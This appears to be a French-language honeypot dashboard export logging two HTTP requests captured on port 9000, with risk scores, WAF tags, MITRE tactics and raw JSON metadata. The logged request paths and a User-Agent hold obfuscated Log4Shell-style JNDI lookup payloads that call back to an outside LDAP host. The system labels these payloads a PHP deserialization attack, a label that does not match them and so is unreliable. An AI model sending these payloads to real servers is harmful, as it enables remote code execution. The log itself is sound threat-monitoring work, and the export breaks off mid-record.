31/07/2026 15:11:15 UTC
TCP
9000 · HTTP
deser php attack
deser php attack · via HTTP:9000 · (tentative d'exploit) · → /${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-…
Élevée
Élevé · 68
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
PUT /${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${h… UA ${${b:e74:-j}${9:u:fup:-n}${z7i8:x0n:-d}${mi1e:d3c:x:-i}${1tok:…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
PUT
/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-/}${47b:-/}${dw:7se:-P}${p:-A}${r:kep:daf9:-l}${6:4ih9:kw45:-0}${0t1:-c}${r3:8a4:--}${${1fe:4vwt:-s}${k:v0b4:e:-y}${0axo:-s}${bzo:mld:7e:-:}${jv7:-j}${6h1:xge:-a}${6xm:-v}${wi:wn:-a}${yrd9:-.}${z:-v}${xu:-e}${j:p0li:-r}${luy:ct:phqz:-s}${zc:j0z:-i}${8wc:-o}${kf6:rgpk:sv:-n}}${s6b:-.}${9b:-a}${eif:-d}${n8:j9b:-c}${asn:8g2w:m3n5:-1}${bt3y:zfs:-6}${mt:1gt:96n8:-b}${x:8:g:-5}${nzr:-9
TLS SNI
—
Capteur
paris-1
Méthode
PUT
Port
9000
Chemin / cible
/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-/}${47b:-/}${dw:7se:-P}${p:-A…
Pourquoi cette classification : Type « deser_php_attack » (signaux protocolaires) · confiance 95%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 68
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0817
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET PHP serialize O:
CRS 933135
Ligne de requête
PUT /${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-/}${47b:-/}${dw:7se:-P}${p:-A}${r:kep:daf9:-l}${6:4ih9:kw45:-0}${0t1:-c}${r3:8a4:--}${${1fe:4vwt:-s}${k:v0b4:e:-y}${0axo:-s}${bzo:mld:7e:-:}${jv7:-j}${6h1:xge:-a}${6xm:-v}${wi:wn:-a}${yrd9:-.}${z:-v}${xu:-e}${j:p0li:-r}${luy:ct:phqz:-s}${zc:j0z:-i}${8wc:-o}${kf6:rgpk:sv:-n}}${s6b:-.}${9b:-a}${eif:-d}${n8:j9b:-c}${asn:8g2w:m3n5:-1}${bt3y:zfs:-6}${mt:1gt:96n8:-b}${x:8:g:-5}${nz
User-Agent
${${b:e74:-j}${9:u:fup:-n}${z7i8:x0n:-d}${mi1e:d3c:x:-i}${1tok:0h8:-:}${s78h:-l}${58b:fr:ecyx:-d}${7q:vw:-a}${l:p:-p}${oz:bky2:-:}${2cz:wi:-/}${2:oj:ni:-/}${4:5yrv:n0f:-U}${f:ex8:q35e:-A}${4g:ytz6:rb…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
PUT /${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7
Requête brute (extrait)
PUT /${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-/}${47b:-/}${dw:7se:-P}${p:-A}${r:kep:daf9:-l}${6:4ih9:kw45:-0}${0t1:-c}${r3:8a4:--}${${1fe:4vwt:-s}${k:v0b4:e:-y}${0axo:-
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${sam:-g}${g:-o}${bs:u7c:-o}${7q:y:-g}}",
"http_ua_hash": "066c3f65ef57b06c6ff08914f49f1d57ed1d301b",
"http_host_hash": "0b37967bee449c869824b09189219b57c1712bae",
"http_target_hash": "f7576d4df19c71a4be220f7bcb5b42a699a289cf",
"http_referer_hash": null,
"http_method": "PUT",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.768836747225103,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9000,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "bd52fde091887197fe3e576de296543bbff3ba07",
"event_fingerprint": "3b121e46647b78ef97b5e925be67fc7e1a7bb173",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 86,
"precision_signals": [
"pat-0817"
],
"kb_rule_ids": [
"pat-0817"
],
"matched_patterns": [
"pat-0817",
"pat-0162"
],
"matched_pattern_names": [
"ET PHP serialize O:",
"CRS 933135"
],
"pattern_ids": [
"pat-0817",
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2a0f3ac890b51dac73569c8636c96ee3",
"payload_hash": "484eb6fb427fd373eadb80bef2d9746b",
"path_pattern_hash": "ba66dc5e8f8e54b9ee8d9b0e427ec546"
},
"target_context": {
"dst_port": 9000,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"method": "PUT",
"path": "\/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-\/}${47b:-\/}${dw:7se:-P}${p:-A}${r:kep:daf9:-l}${6:4ih9:kw45:-0}${0t1:-c}${r3:8a4:--}${${1fe:4vwt:-s}${k:v0b4:e:-y}${0axo:-s}${bzo:mld:7e:-:}${jv7:-j}${6h1:xge:-a}${6xm:-v}${wi:wn:-a}${yrd9:-.}${z:-v}${xu:-e}${j:p0li:-r}${luy:ct:phqz:-s}${zc:j0z:-i}${8wc:-o}${kf6:rgpk:sv:-n}}${s6b:-.}${9b:-a}${eif:-d}${n8:j9b:-c}${asn:8g2w:m3n5:-1}${bt3y:zfs:-6}${mt:1gt:96n8:-b}${x:8:g:-5}${nzr:-9",
"user_agent": "${${b:e74:-j}${9:u:fup:-n}${z7i8:x0n:-d}${mi1e:d3c:x:-i}${1tok:0h8:-:}${s78h:-l}${58b:fr:ecyx:-d}${7q:vw:-a}${l:p:-p}${oz:bky2:-:}${2cz:wi:-\/}${2:oj:ni:-\/}${4:5yrv:n0f:-U}${f:ex8:q35e:-A}${4g:ytz6:rbw:-l}${olm8:d:-0}${hnx:p:07:-c}${z6:m:kf6w:--}${${l0s:-s\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-\/}${47b:-\/}${dw:7se:-P}${p:-A}${r:kep:daf9:-l}${6:4ih9:kw45:-0}${0t1:-c}${r3:8a4:--}${${1fe:4vwt:-s}${k:v0b4:e:-y}${0axo:-s}${bzo:mld:7e:-:}${jv7:-j}${6h1:xge:-a}${6xm:-v}${wi:wn:-a}${yrd9:-.}${z:-v}${xu:-e}${j:p0li:-r}${luy:ct:phqz:-s}${zc:j0z:-i}${8wc:-o}${kf6:rgpk:sv:-n}}${s6b:-.}${9b:-a}${eif:-d}${n8:j9b:-c}${asn:8g2w:m3n5:-1}${bt3y:zfs:-6}${mt:1gt:96n8:-b}${x:8:g:-5}${nz",
"payload_snippet": "PUT \/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7",
"evidence": {
"method": "PUT",
"path": "\/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-\/}${47b:-\/}${dw:7se:-P}${p:-A}${r:kep:daf9:-l}${6:4ih9:kw45:-0}${0t1:-c}${r3:8a4:--}${${1fe:4vwt:-s}${k:v0b4:e:-y}${0axo:-s}${bzo:mld:7e:-:}${jv7:-j}${6h1:xge:-a}${6xm:-v}${wi:wn:-a}${yrd9:-.}${z:-v}${xu:-e}${j:p0li:-r}${luy:ct:phqz:-s}${zc:j0z:-i}${8wc:-o}${kf6:rgpk:sv:-n}}${s6b:-.}${9b:-a}${eif:-d}${n8:j9b:-c}${asn:8g2w:m3n5:-1}${bt3y:zfs:-6}${mt:1gt:96n8:-b}${x:8:g:-5}${nzr:-9",
"user_agent": "${${b:e74:-j}${9:u:fup:-n}${z7i8:x0n:-d}${mi1e:d3c:x:-i}${1tok:0h8:-:}${s78h:-l}${58b:fr:ecyx:-d}${7q:vw:-a}${l:p:-p}${oz:bky2:-:}${2cz:wi:-\/}${2:oj:ni:-\/}${4:5yrv:n0f:-U}${f:ex8:q35e:-A}${4g:ytz6:rbw:-l}${olm8:d:-0}${hnx:p:07:-c}${z6:m:kf6w:--}${${l0s:-s\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-\/}${47b:-\/}${dw:7se:-P}${p:-A}${r:kep:daf9:-l}${6:4ih9:kw45:-0}${0t1:-c}${r3:8a4:--}${${1fe:4vwt:-s}${k:v0b4:e:-y}${0axo:-s}${bzo:mld:7e:-:}${jv7:-j}${6h1:xge:-a}${6xm:-v}${wi:wn:-a}${yrd9:-.}${z:-v}${xu:-e}${j:p0li:-r}${luy:ct:phqz:-s}${zc:j0z:-i}${8wc:-o}${kf6:rgpk:sv:-n}}${s6b:-.}${9b:-a}${eif:-d}${n8:j9b:-c}${asn:8g2w:m3n5:-1}${bt3y:zfs:-6}${mt:1gt:96n8:-b}${x:8:g:-5}${nz",
"request_sample": "PUT \/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-\/}${47b:-\/}${dw:7se:-P}${p:-A}${r:kep:daf9:-l}${6:4ih9:kw45:-0}${0t1:-c}${r3:8a4:--}${${1fe:4vwt:-s}${k:v0b4:e:-y}${0axo:-",
"payload_snippet": "PUT \/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "550af28ddd51a162fec7c8d9784cfe7097703174",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-\/}${47b:-\/}${dw:7se:-P}${p:-A\u2026",
"request_line": "PUT \/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-\/}${47b:-\/}${dw:7se:-P}${p:-A}${r:kep:daf9:-l}${6:4ih9:kw45:-0}${\u2026",
"http_user_agent": "${${b:e74:-j}${9:u:fup:-n}${z7i8:x0n:-d}${mi1e:d3c:x:-i}${1tok:0h8:-:}${s78h:-l}${58b:fr:ecyx:-d}${7q:vw:-a}${l:p:-p}${\u2026",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "PUT \/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7",
"attack_vector": "deser php attack \u00b7 via HTTP:9000 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-\u2026",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9000,
"protocol_emulated": true,
"tags_summary": [
"pat-0817"
],
"tags_summary_labels_fr": [
"pat-0817"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-\/}${47b:-\/}${dw:7se:-P}${p:-A\u2026",
"request_line": "PUT \/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7pb:3:-\/}${47b:-\/}${dw:7se:-P}${p:-A}${r:kep:daf9:-l}${6:4ih9:kw45:-0}${\u2026",
"http_user_agent": "${${b:e74:-j}${9:u:fup:-n}${z7i8:x0n:-d}${mi1e:d3c:x:-i}${1tok:0h8:-:}${s78h:-l}${58b:fr:ecyx:-d}${7q:vw:-a}${l:p:-p}${\u2026",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "deser php attack \u00b7 via HTTP:9000 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-\u2026",
"evidence_snippet": "PUT \/${${81:-j}${t3pr:-n}${26ok:-d}${pslg:rxgu:wc:-i}${ixsr:u:-:}${bi:o60:-l}${l:b23:-d}${i:d:65:-a}${hg:-p}${0xf7:56:-:}${f2:j7",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 17,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dangerous_method",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:14 UTC
TCP
9000 · HTTP
deser php attack
deser php attack · via HTTP:9000 · (tentative d'exploit) · → /${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i…
Élevée
Élevé · 69
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
ZSDLKFJ2 /${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
ZSDLKFJ2
/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-/}${81ae:-/}${k:p6:1n:-P}${h:-A}${rw6:8o:18:-l}${8:-0}${0dg:-c}${iq:x:--}${${qv7:9g:r:-s}${j:4gl:-y}${v260:-s}${bg:n64z:p4uv:-:}${h7:-j}${l4i:r98:-a}${qp:akey:-v}${p8h:-a}${pl:4g:z:-.}${0c8:87zn:-v}${ocn:e6g8:-e}${k:-r}${7:-s}${wxms:g:-i}${g:-o}${abj:pi:pla7:-n}}${z:-.}${7jm:1imj:q:-a}${wn:-d}${ca:dfar:t1zi:-c}${0y:lk5:y:-1}${6q4:-6}${5:-b}${kwq:lfr2:i6:-5}${s:-9}${se:-6}${s
TLS SNI
—
Capteur
paris-1
Méthode
ZSDLKFJ2
Port
9000
Chemin / cible
/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-/}${81ae:-/}${k:p6:1n:-P…
Pourquoi cette classification : Type « deser_php_attack » (signaux protocolaires) · confiance 97%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 69
Confiance : Confiance 97 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
pat-0817
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET PHP serialize O:
CRS 933135
Ligne de requête
ZSDLKFJ2 /${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-/}${81ae:-/}${k:p6:1n:-P}${h:-A}${rw6:8o:18:-l}${8:-0}${0dg:-c}${iq:x:--}${${qv7:9g:r:-s}${j:4gl:-y}${v260:-s}${bg:n64z:p4uv:-:}${h7:-j}${l4i:r98:-a}${qp:akey:-v}${p8h:-a}${pl:4g:z:-.}${0c8:87zn:-v}${ocn:e6g8:-e}${k:-r}${7:-s}${wxms:g:-i}${g:-o}${abj:pi:pla7:-n}}${z:-.}${7jm:1imj:q:-a}${wn:-d}${ca:dfar:t1zi:-c}${0y:lk5:y:-1}${6q4:-6}${5:-b}${kwq:lfr2:i6:-5}${s:-9}${
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
ZSDLKFJ2 /${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:f
Requête brute (extrait)
ZSDLKFJ2 /${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-/}${81ae:-/}${k:p6:1n:-P}${h:-A}${rw6:8o:18:-l}${8:-0}${0dg:-c}${iq:x:--}${${qv7:9g:r:-s}${j:4gl:-y}${v260:-s}${
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204d696e494f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f786d6c0d0a436f6e74656e742d4c656e6774683a203139300d0a0d0a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c4c6973",
"emulator_response_len": 276,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${cmli:-g}${gt:-o}${bu:x5:dp:-o}${qn:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "0b37967bee449c869824b09189219b57c1712bae",
"http_target_hash": "1bfdec6c8b43cdbfa154c6f939a15110048b1b41",
"http_referer_hash": null,
"http_method": "ZSDLKFJ2",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.906524477348126,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9000,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 69,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "25ccd391a93e5672f673b59f031163bb5a19f6cc",
"event_fingerprint": "6a1c783c2a8ec1c82db1c2fa3e51fbf872e3e9a6",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 86,
"precision_signals": [
"pat-0817"
],
"kb_rule_ids": [
"pat-0817"
],
"matched_patterns": [
"pat-0817",
"pat-0162"
],
"matched_pattern_names": [
"ET PHP serialize O:",
"CRS 933135"
],
"pattern_ids": [
"pat-0817",
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 69,
"correlation_boost": 10
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 97,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "e9e8dc285340efd4495e7f62c5518c50",
"path_pattern_hash": "84b42b771fc3bc6fae49fb7f73238e21"
},
"target_context": {
"dst_port": 9000,
"service": "http",
"service_name": "http",
"risk_score": 69
},
"method": "ZSDLKFJ2",
"path": "\/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-\/}${81ae:-\/}${k:p6:1n:-P}${h:-A}${rw6:8o:18:-l}${8:-0}${0dg:-c}${iq:x:--}${${qv7:9g:r:-s}${j:4gl:-y}${v260:-s}${bg:n64z:p4uv:-:}${h7:-j}${l4i:r98:-a}${qp:akey:-v}${p8h:-a}${pl:4g:z:-.}${0c8:87zn:-v}${ocn:e6g8:-e}${k:-r}${7:-s}${wxms:g:-i}${g:-o}${abj:pi:pla7:-n}}${z:-.}${7jm:1imj:q:-a}${wn:-d}${ca:dfar:t1zi:-c}${0y:lk5:y:-1}${6q4:-6}${5:-b}${kwq:lfr2:i6:-5}${s:-9}${se:-6}${s",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "ZSDLKFJ2 \/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:fu01:-:}${h:u7o:-\/}${81ae:-\/}${k:p6:1n:-P}${h:-A}${rw6:8o:18:-l}${8:-0}${0dg:-c}${iq:x:--}${${qv7:9g:r:-s}${j:4gl:-y}${v260:-s}${bg:n64z:p4uv:-:}${h7:-j}${l4i:r98:-a}${qp:akey:-v}${p8h:-a}${pl:4g:z:-.}${0c8:87zn:-v}${ocn:e6g8:-e}${k:-r}${7:-s}${wxms:g:-i}${g:-o}${abj:pi:pla7:-n}}${z:-.}${7jm:1imj:q:-a}${wn:-d}${ca:dfar:t1zi:-c}${0y:lk5:y:-1}${6q4:-6}${5:-b}${kwq:lfr2:i6:-5}${s:-9}${",
"payload_snippet": "ZSDLKFJ2 \/${${zenx:bjwn:vi:-j}${ny3:-n}${a:-d}${4b7:v:-i}${8:l78:i:-:}${yzbl:-l}${vz:a:-d}${rm6:s2ij:q4p1:-a}${4:7euw:-p}${wij:f",
"evidence": {
"method": "ZSDLKFJ2",
